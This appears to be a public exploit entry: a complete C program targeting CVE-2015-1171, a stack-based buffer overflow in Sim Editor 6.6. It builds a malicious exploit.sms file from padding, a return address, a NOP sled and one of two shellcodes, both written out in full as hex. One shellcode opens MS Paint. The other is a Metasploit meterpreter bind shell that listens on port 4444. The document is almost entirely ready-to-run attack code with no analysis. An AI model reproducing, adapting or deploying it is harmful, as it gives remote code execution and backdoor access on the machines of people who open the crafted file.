Sim Editor 6.6 - Stack Based Buffer Overflow

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define SIZE 65536 

/*
* Title: Sim Editor v6.6 Stack Based Buffer Overflow
* Version: 6.6
* Tested on: Windows XP sp2 en, Windows 8 64-bit
* Date: 16-01-2015
* Author: Osanda Malith Jayathissa
* E-Mail: osanda[cat]unseen.is
* Website: OsandaMalith.wordpress.com
* CVE: CVE-2015-1171
*/

const char shell1[] = "ba516a43ddd9e9d97424f45e33c9b1"
        "3231561503561583eefce2a496ab54"
        "46672c07cf821d15abc70ca9b88abc"
        "42ec3e36263830ff8d1e7f00209ed3"
        "c222622e17855be16ac49c1c849475"
        "6a3709f22e8428d424b45251fa41e9"
        "582bf96612d3712082e25632feadd3"
        "81752c32d8761e7ab749ae77c98e09"
        "68bce46915c73f13c142ddb382f505"
        "454663ce4923e7884db224a36a3fcb"
        "63fb7be8a7a7d891fe0d8eaee0ea6f"
        "0b6b187b2d36777abf4d3e7cbf4d11"
        "158ec6fe620f0dbb9d450fea3500da"
        "ae5bb331ec6530b38d9128b688deee"
        "2be14f9b4b566f8e262bff50d1a58b"
        "92";

/* msfpayload windows/meterpreter/bind_tcp EXITFUNC=thread LPORT=4444 R | msfencode -a x86 -t c */
const char shell2[] = "bb3ff8edc8dbc6d97424f45f2bc9b1"
"4a83effc315f11035f11e2ca04054e"
"34f5d62fbd10e77dd9515ab2aa3457"
"39feacec4fd6c345e500ed56cb8ca1"
"954d70b8c9ad49731caf8e6eeffd47"
"e44212ecb85e99be2ce77e744cc6d0"
"0317c8d3c02341cc050f1b67fdfb9a"
"a1cc04ad8d823a0100db7ba6fbae77"
"d486a843a65c3d560016e5b2b0fb73"
"30beb0f01ea347d514dfccd8fa6996"
"fede324c9f479f23a098479b04d26a"
"c831b9e23d7342f3290431c1f6bedd"
"697e18198d55dcb570561c9fb6024c"
"b71f2b07479ffe87170f5167c8ef01"
"0f02e07e2f2d2a179e098670e2ad38"
"dd6b4b50cd3dc3cd2f1adc6a4f4970"
"22c7c69ef4e8d7b45644705f2d8645"
"7e3283ee17a5597e55575dab0f97cb"
"5786c06355ff272ca62a3ce532952b"
"0ad215ac5cb815c4389845f14635fa"
"aad2b5ab1f74dd5179b242a9ac42bf"
"7c89c0c90af908";

const char *shells[] = { shell1, shell2 };
const char *shell_names[] = { "MS Paint", "Bind Shell" };
const char *shell_info[] = { "", "[*] Connect on port 4444\n" };
const size_t SHELLS_COUNT = 2;

int menu() {
    size_t shell_type = SHELLS_COUNT;
    puts("\b[?] Choose an Option: ");
    size_t i;
    for (i = 0; i < SHELLS_COUNT; i++) printf("%d. %s\n", i, shell_names[i]);
    scanf("%i", &shell_type);
return shell_type;
}

void banner() {
    static const char banner[] =                                                                                               
                " _____ _          _____   _ _ _           \n"
                "|   __|_|_____   |   __|_| |_| |_ ___ ___ \n"
                "|__   | |     |  |   __| . | |  _| . |  _|\n"
                "|_____|_|_|_|_|  |_____|___|_|_| |___|_|\n"
                "\n[~] Sim Editor v6.6 Stack Based Buffer Overflow\n"
                "[~] Author: Osanda Malith Jayathissa\n"
                "[~] E-Mail: osanda[cat]unseen.is\n"
                "[~] Website: OsandaMalith.wordpress.com\n\n";

    fwrite(banner, sizeof(char), sizeof(banner) , stdout);
}

void patternfill(char *dst, char *pattern, size_t count, size_t dst_size) {
    size_t pattern_len = strlen(pattern);
    count *= pattern_len;
    if (count > dst_size) count = dst_size;
    if (pattern_len > dst_size) pattern_len = dst_size;

    size_t i, pI;
    for (i = 0, pI = 0; i < count ; i++, pI++) {
        if (pI == pattern_len) pI = 0;
        dst[i] = pattern[pI];
    }
}

int main() {
    banner();
    int shell_type = menu();
    if (shell_type >= SHELLS_COUNT) {
        printf("[-] Enter a valid input\n");
        exit (1);
    }

    char *buff = (char*) calloc (SIZE, sizeof(char));
    char *nops = (char*) calloc (SIZE, sizeof(char));
    if (!buff || !nops) exit (1);

    patternfill(buff, "41", 405, SIZE);
    patternfill(nops, "90", 16, SIZE);

    char ret[] = "B3804200";
    const char* filename = "exploit.sms";

    FILE *outfile = fopen(filename, "w");
    if (!outfile) {
        printf("%s\n","Could not open file");
        exit (1);
    }

    fputs(buff,   outfile);
    fputs(ret,    outfile);
    fputs(nops,   outfile);

    fputs(shells[shell_type],  outfile);
    printf("%s", shell_info[shell_type]);
    fclose(outfile);
    free(buff);
    printf("[+] Successfully to written to: \"%s\"\n", filename);
    return 0;
}
/*EOF*/